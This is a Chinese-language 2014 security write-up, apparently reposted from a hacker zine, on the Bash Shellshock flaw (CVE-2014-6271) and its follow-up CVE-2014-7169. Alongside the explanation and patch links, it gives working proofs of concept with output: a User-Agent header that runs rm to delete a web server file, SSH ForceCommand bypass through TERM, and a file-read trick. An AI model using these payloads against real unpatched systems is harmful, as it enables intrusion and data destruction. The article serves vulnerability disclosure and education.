Bash Shellshock事件:CVE-2014-6271资料汇总

		当前位置：主页>安全文章>文章资料>漏洞资料>文章内容
Bash Shellshock事件:CVE-2014-6271资料汇总
来源：vfocus.net 作者：Shawn 发布时间：2014-09-26
[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=-----------------------------------------------------------------=|
|=-----=[ D O   N O T   F U C K   W I T H   A   H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x07 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Bash Shellshock事件: ]=--------------------=| 
|=-------------------=[ CVE-2014-6271资料汇总]=--------------------=|
|=-----------------------------------------------------------------=|
|=---------------------=[ By Shawn the R0ck ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ Sep 25 2014  ]=------------------------=|
|=-----------------------------------------------------------------=|

--[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch and story to be continued...



--[ 0. 什么是BASH

Bourne Again Shell(简称BASH）是在GNU/Linux上最流行的SHELL实现，于1980年
诞生，经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深
度整合的多功能接口。


--[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现
BASH的一个漏洞，你可以通过构造环境变量的值来执行你想要执行的脚本代码，
据报道称，这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序，
包括:

** 在sshd配置中使用了ForceCommand用以限制远程用户执行命令，这个漏洞可以
   绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出
   现类似情况，OpenSSH通常用法没有问题。

** Apache服务器使用mod_cgi或者mod_cgid，如果CGI脚本在BASH或者运行在子
   SHELL里都会受影响。子Shell中使用C的system/popen，Python中使用
   os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用
   open/system的情况都会受此漏洞影响。

** PHP脚本执行在mod_php不会受影响。

** DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被
   此漏洞利用。

** 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。

** 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不
   导出的情况下不会受影响。


我们先来看一个简单的POC：

1，本地SHELL环境中测试是否有漏洞：
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞会打印"vulnerable"。


2，C程序：
-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
 
int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };
 
    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}

je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me
--------------------------------------------------------------

这个POC中可以看出BASH根本就没有去处理结尾，后面我们可以通过补丁来看为什么。


3，INVISIBLETHREAT上对于HTTP环境的测试：

创建一个脚本叫poc.cgi:

#!/bin/bash
 
echo "Content-type: text/html"
echo ""
 
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
 
exit 0

把脚本放入测试机后，输入：
$ curl http://192.168.0.1/poc.cgi
 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
 
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>

再来试试使用curl设置一个user-agent玩玩：

$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
webmaster@localhost and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>

上面已经把/var/www/target给删除了，再来看看：
	
$ curl http://192.168.0.1/target
 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>


4, 针对OpenSSH的POC，目前有2个攻击平面，Solar Designer给出了
SSH_ORIGINAL_COMMAND的本地利用方法：

seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC，通过利用TERM：

在机器A上生成一对RSA key pair:
shawn@debian-test32:~/.ssh$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
The key's randomart image is:
+--[ RSA 2048]----+
|    ...          |
|    .o .         |
|     ooo         |
|    o +.o.       |
|     = =S.       |
|    . * o E      |
| o o . +         |
|. = o o          |
|oo . .           |
+-----------------+


把A的公钥拷贝到机器B上：
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32


一个用于控制command/SSH_ORIGINAL_COMMAND的脚本
shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
	"ps")
		ps -ef
		;;
	"vmstat")
		vmstat 1 100
		;;
	"cups stop")
		/etc/init.d/cupsys stop
		;;
	"cups start")
		/etc/init.d/cupsys start
		;;
	*)
		echo "Sorry. Only these commands are available to you:"
		echo "ps, vmstat, cupsys stop, cupsys start"
		#exit 1
		;;
esac


机器A上可以正常的使用限制脚本:
shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
shawn@debian-test32:~/.ssh$ ssh  shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 16:47 ?        00:00:02 /sbin/init showopts
root         2     0  0 16:47 ?        00:00:00 [kthreadd]
root         3     2  0 16:47 ?        00:00:00 [ksoftirqd/0]


借助TERM来利用：
shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh  shawn@192.168.115.129
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.


--[ 2. 补丁和后续

从最早GNU/Linux发行版社区收到的补丁：

https://bugzilla.novell.com/attachment.cgi?id=606672

可以看出BASH的确没有做异常处理，而直接解析后就执行了。

正式的社区补丁在这里：

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

但由于补丁修复的不完整，导致了CVE-2014-7169的爆出,POC如下：

shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env X='() { (a)=<\' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件，看来后续的故事还没结束...................



[1] BASH
http://www.gnu.org/software/bash/

[2] Bash specially-crafted environment variables code injection attack
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

[3] CVE-2014-6271
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

[4] CVE-2014-7169
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

[4] CVE-2014-6271: remote code execution through bash 
http://seclists.org/oss-sec/2014/q3/651
[